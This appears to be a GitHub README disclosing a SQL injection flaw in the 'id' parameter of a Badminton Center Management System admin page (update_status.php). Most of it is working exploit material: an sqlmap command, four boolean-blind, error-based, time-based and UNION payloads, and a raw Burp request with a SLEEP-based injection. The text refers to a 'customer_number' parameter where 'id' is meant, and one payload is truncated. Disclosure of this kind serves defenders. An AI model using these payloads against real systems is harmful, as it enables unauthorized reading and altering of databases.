README.md

1. Description:

Badminton Center Management System allows SQL Injection via parameter 'id' in /bcms/admin/court_rentals/update_status.php. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

2. Proof of Concept:

In Burpsuite intercept the request from the affected page with 'customer_number' parameter and save it like poc.txt Then run SQLmap to extract the data from the database:

sqlmap.py -r poc.txt --dbms=mysql

3. Example payloads:

Parameter: id (GET)

```
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
```

```
Payload: id=test' AND 7374=(SELECT (CASE WHEN (7374=7374) THEN 7374 ELSE (SELECT
6961 UNION SELECT 8511) END))-- -&status=3

Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
(EXTRACTVALUE)
Payload: id=test' AND EXTRACTVALUE(8482,CONCAT(0x5c,0x71627a6b71,(SELECT
(ELT(8482=8482,1))),0x71626a6271))-- ukNa&status=3

Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (heavy query)
Payload: id=test' AND 9267=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A,
INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)-- JYkT&status=3

Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: id=test' UNION ALL SELECT
CONCAT(0x71627a6b71,0x76455372796b6b59767845715272496c626e7a4b6b5a4c664f48736258654b
- -&status=3
```

4. Burpsuite request:

GET /bcms/admin/court_rentals/update_status.php?id=2%20%2b%20((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A))%2f*%27XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)))OR%27%7c%22XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)))OR%22*%2f%20%2f*%2042ef7f74-0853-4e23-9722-b42223e2b1b9%20*%2f&status=3 HTTP/1.1 Host: localhost Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-us,en;q=0.5 Cache-Control: no-cache Cookie: PHPSESSID=0oviirpbcg8rf511ik98trenv1 Referer: http://localhost/bcms/admin/court_rentals/update_status.php?id=2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36

Releases

No releases published

Packages

No packages published